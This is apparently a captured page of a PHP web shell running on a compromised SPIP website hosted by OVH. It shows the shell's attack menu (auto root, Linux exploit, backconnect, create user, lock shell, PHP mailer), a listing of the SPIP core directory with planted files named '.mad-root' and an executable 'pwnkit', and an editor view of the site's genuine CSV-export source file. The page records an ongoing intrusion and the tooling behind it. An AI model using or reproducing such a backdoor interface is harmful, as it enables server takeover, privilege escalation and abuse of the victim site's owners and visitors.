Linux webm008.cluster115.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Apache
: 10.115.20.8 | : 216.73.216.59
Cant Read [ /etc/named.conf ]
8.1.34
quelfutuu
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
quelfutuu /
www /
grice /
ecrire /
inc /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-r--r--
acces.php
13.5
KB
-rw----r--
actions.php
5.36
KB
-rw----r--
admin.php
9.46
KB
-rw----r--
auth.php
22.43
KB
-rw----r--
auth_handler.php
300
B
-rw-r--r--
autoriser.php
64.83
KB
-rw----r--
bandeau.php
8.42
KB
-rw----r--
boutons.php
2.49
KB
-rw----r--
charsets.php
28.17
KB
-rw----r--
chercher_logo.php
3.3
KB
-rw----r--
chercher_rubrique.php
11.33
KB
-rw----r--
commencer_page.php
4.49
KB
-rw----r--
completer_traduction.php
2.43
KB
-rw----r--
config.php
13.96
KB
-rw----r--
cookie.php
6.21
KB
-rw----r--
couleurs.php
3.24
KB
-rw----r--
csv.php
3.76
KB
-rw----r--
cvt_autosave.php
4.26
KB
-rw----r--
cvt_configurer.php
7.92
KB
-rw----r--
cvt_multietapes.php
10.15
KB
-rw----r--
definir_menus_favoris.php
1.08
KB
-rw----r--
distant.php
43.91
KB
-rw----r--
documents.php
8.84
KB
-rw----r--
drapeau_edition.php
6.82
KB
-rw----r--
editer.php
22.05
KB
-rw----r--
email_valide.php
1.74
KB
-rw----r--
envoyer_mail.php
7.67
KB
-rw----r--
exporter_csv.php
7.37
KB
-rw----r--
filtres.php
162.08
KB
-rw----r--
filtres_alertes.php
8.29
KB
-rw----r--
filtres_boites.php
4.79
KB
-rw----r--
filtres_dates.php
34.68
KB
-rw----r--
filtres_ecrire.php
17.33
KB
-rw----r--
filtres_images_lib_mini.php
59.89
KB
-rw----r--
filtres_images_mini.php
16.78
KB
-rw----r--
filtres_mime.php
4.72
KB
-rw----r--
filtres_mini.php
6.9
KB
-rw----r--
filtres_selecteur_generique.ph...
8.25
KB
-rw----r--
flock.php
20.88
KB
-rw----r--
genie.php
6.86
KB
-rw----r--
headers.php
7.77
KB
-rw----r--
icone_renommer.php
2.12
KB
-rw----r--
iconifier.php
1.37
KB
-rw----r--
importer_csv.php
4.8
KB
-rw----r--
index.php
2
B
-rw----r--
informer.php
2.95
KB
-rw----r--
install.php
15.69
KB
-rw----r--
invalideur.php
7.99
KB
-rw----r--
journal.php
1.11
KB
-rw----r--
json.php
2.2
KB
-rw----r--
lang.php
14.59
KB
-rw----r--
lang_liste.php
7.23
KB
-rw----r--
layer.php
5.93
KB
-rw----r--
lien.php
8.43
KB
-rw----r--
lien_court.php
1.17
KB
-rw----r--
liens.php
680
B
-rw----r--
lister_objets.php
2.13
KB
-rw----r--
livrer_fichier.php
7.7
KB
-rw----r--
log.php
3.43
KB
-rw----r--
math.php
4.42
KB
-rw----r--
meta.php
9.09
KB
-rw----r--
minipres.php
3.7
KB
-rw----r--
modeles.php
1.42
KB
-rw----r--
modifier.php
11.09
KB
-rw----r--
nfslock.php
11.47
KB
-rw----r--
notifications.php
5.76
KB
-rw----r--
pipelines.php
7.83
KB
-rw----r--
pipelines_ecrire.php
12.04
KB
-rw----r--
plonger.php
3.98
KB
-rw----r--
plugin.php
47.39
KB
-rw----r--
precharger_article.php
2.26
KB
-rw----r--
precharger_objet.php
7.2
KB
-rw----r--
prepare_recherche.php
5.72
KB
-rw----r--
preselectionner_parent_nouvel_...
2.19
KB
-rw----r--
presentation.php
8.63
KB
-rw----r--
presentation_mini.php
8.28
KB
-rw----r--
presenter_enfants.php
6.75
KB
-rw----r--
puce_statut.php
11.94
KB
-rw----r--
pwnkit
0
B
-rwxr-xr-x
queue.php
20.62
KB
-rw----r--
recherche_to_array.php
8.15
KB
-rw----r--
rechercher.php
11.05
KB
-rw----r--
roles.php
12.12
KB
-rw----r--
rubriques.php
28.48
KB
-rw----r--
securiser_action.php
11.99
KB
-rw----r--
selectionner.php
5.27
KB
-rw----r--
session.php
21.59
KB
-rw----r--
simplexml_to_array.php
2.84
KB
-rw----r--
surligne.php
4.14
KB
-rw----r--
svg.php
19.55
KB
-rw----r--
texte.php
11.82
KB
-rw----r--
texte_mini.php
23.49
KB
-rw----r--
traduire.php
11.26
KB
-rw----r--
urls.php
11.05
KB
-rw----r--
utils.php
107.33
KB
-rw----r--
xml.php
7.47
KB
-rw----r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : exporter_csv.php
<?php /***************************************************************************\ * SPIP, Système de publication pour l'internet * * * * Copyright © avec tendresse depuis 2001 * * Arnaud Martin, Antoine Pitrou, Philippe Rivière, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribué sous licence GNU/GPL. * \***************************************************************************/ /** * Gestion d'export de données au format CSV * * @package SPIP\Core\CSV\Export **/ if (!defined('_ECRIRE_INC_VERSION')) { return; } include_spip('inc/charsets'); include_spip('inc/filtres'); include_spip('inc/texte'); /** * Exporter un champ pour un export CSV : pas de retour a la ligne, * et echapper les guillements par des doubles guillemets * * @param string $champ * @return string */ function exporter_csv_champ($champ) { #$champ = str_replace("\r", "\n", $champ); #$champ = preg_replace(",[\n]+,ms", "\n", $champ); #$champ = str_replace("\n", ", ", $champ); $champ = preg_replace(',[\s]+,ms', ' ', $champ); $champ = str_replace('"', '""', $champ); return '"' . $champ . '"'; } /** * Exporter une ligne complete au format CSV, avec delimiteur fourni * * @uses exporter_csv_champ() * * @param int $nb * @param array $ligne * @param string $delim * @param string|null $importer_charset * Si défini exporte dans le charset indiqué * @param callable $callback * @return string */ function exporter_csv_ligne_numerotee($nb, $ligne, $delim = ',', $importer_charset = null, ?callable $callback = null) { if ($callback) { $ligne = $callback($nb, $ligne, $delim, $importer_charset); } $output = join($delim, array_map('exporter_csv_champ', $ligne)) . "\r\n"; if ($importer_charset) { $output = str_replace('’', '\'', $output); $output = unicode2charset(html2unicode(charset2unicode($output)), $importer_charset); } return $output; } /** * @deprecated 4.0 * * @param $ligne * @param string $delim * @param null $importer_charset * @return string */ function exporter_csv_ligne($ligne, $delim = ',', $importer_charset = null) { trigger_deprecation('spip', '3.2', 'Using "%s" is deprecated, use "%s" instead', __FUNCTION__, 'exporter_csv_ligne_numerotee'); return exporter_csv_ligne_numerotee(null, $ligne, $delim, $importer_charset); } /** * Exporte une ressource sous forme de fichier CSV * * La ressource peut etre un tableau ou une resource SQL issue d'une requete * Le nom du fichier est défini en fonction du titre s'il n'est pas indiqué dans les options. * L'extension est choisie en fonction du délimiteur si elle n'est pas indiquée dans les options : * - si on utilise ',' c'est un vrai csv avec extension csv * - si on utilise ';' ou tabulation c'est pour E*cel, et on exporte en iso-truc, avec une extension .xls * * @uses exporter_csv_ligne() * * @param string $titre * Titre utilisé pour nommer le fichier si celui-ci n'est pas indiqué dans les options * Il peut s'agir d'un texte contenant de la syntaxe SPIP * @param array|resource $resource * @param array $options * - (string) fichier : nom du fichier, par défaut défini en fonction du $titre * - (string) extension : `csv` | `xls`, par défaut choisie en fonction du délimiteur * - (string) delim : `,` | `;` | `\t` | `TAB` * - (array) entetes : tableau d'en-tetes pour nommer les colonnes (genere la premiere ligne) * - (bool) envoyer : pour envoyer le fichier exporte (permet le telechargement) * - (string) charset : charset de l'export si different de celui du site * - (callable) callback : fonction callback a appeler sur chaque ligne pour mettre en forme/completer les donnees * @return string */ function inc_exporter_csv_dist($titre, $resource, $options = []) { // support ancienne syntaxe // inc_exporter_csv_dist($titre, $resource, $delim = ', ', $entetes = null, $envoyer = true) if (is_string($options)) { $args = func_get_args(); $options = []; foreach ([2 => 'delim', 3 => 'entetes', 4 => 'envoyer'] as $k => $option) { if (!empty($args[$k])) { $options[$option] = $args[$k]; } } } $default_options = [ 'fichier' => null, // par défaut = $titre 'extension' => null, // par défaut = choix auto 'delim' => ',', 'entetes' => null, 'envoyer' => true, 'charset' => null, 'callback' => null, ]; $options = array_merge($default_options, $options); // Délimiteur if ($options['delim'] == 'TAB') { $options['delim'] = "\t"; } if (!in_array($options['delim'], [',', ';', "\t"])) { $options['delim'] = ','; } // Nom du fichier : celui indiqué dans les options, sinon le titre // Normalisation : uniquement les caractères non spéciaux, tirets, underscore et point + remplacer espaces par underscores $filename = $options['fichier'] ?? translitteration(textebrut(typo($titre))); $filename = preg_replace([',[^\w\-_\.\s]+,', ',\s+,'], ['', '_'], trim($filename)); $filename = rtrim($filename, '.'); // Extension : celle indiquée en option, sinon choisie selon le délimiteur // Normalisation : uniquement les charactères non spéciaux if (!empty($options['extension'])) { $options['extension'] = preg_replace(',[^\w]+,', '', trim($options['extension'])); } $extension = $options['extension'] ?? ($options['delim'] === ',' ? 'csv' : 'xls'); // Fichier $basename = "$filename.$extension"; // Charset : celui indiqué en option, sinon celui compatible excel si nécessaire, sinon celui du site // Excel n'accepte pas l'utf-8 ni les entites html... on transcode tout ce qu'on peut $charset_site = $GLOBALS['meta']['charset']; $charset_excel = ($extension === 'xls' ? 'iso-8859-1' : null); $charset = $options['charset'] ?? $charset_excel ?? $charset_site; $importer_charset = (($charset === $charset_site) ? null : $charset); $output = ''; $nb = 0; if (!empty($options['entetes']) and is_array($options['entetes'])) { $output = exporter_csv_ligne_numerotee($nb, $options['entetes'], $options['delim'], $importer_charset, $options['callback']); } // les donnees commencent toujours a la ligne 1, qu'il y ait ou non des entetes $nb++; if ($options['envoyer']) { $disposition = ($options['envoyer'] === 'attachment' ? 'attachment' : 'inline'); header("Content-Type: text/comma-separated-values; charset=$charset"); header("Content-Disposition: $disposition; filename=$basename"); // Vider tous les tampons $level = @ob_get_level(); while ($level--) { @ob_end_flush(); } } // si envoyer=='attachment' on passe par un fichier temporaire // sinon on ecrit directement sur stdout if ($options['envoyer'] and $options['envoyer'] !== 'attachment') { $fichier = 'php://output'; } else { $fichier = sous_repertoire(_DIR_CACHE, 'export') . $basename; } $fp = fopen($fichier, 'w'); $length = fwrite($fp, $output); while ($row = is_array($resource) ? array_shift($resource) : sql_fetch($resource)) { $output = exporter_csv_ligne_numerotee($nb, $row, $options['delim'], $importer_charset, $options['callback']); $length += fwrite($fp, $output); $nb++; } fclose($fp); if ($options['envoyer']) { if ($options['envoyer'] === 'attachment') { header("Content-Length: $length"); readfile($fichier); } // si on a envoye inline, c'est deja tout bon exit; } return $fichier; }
Close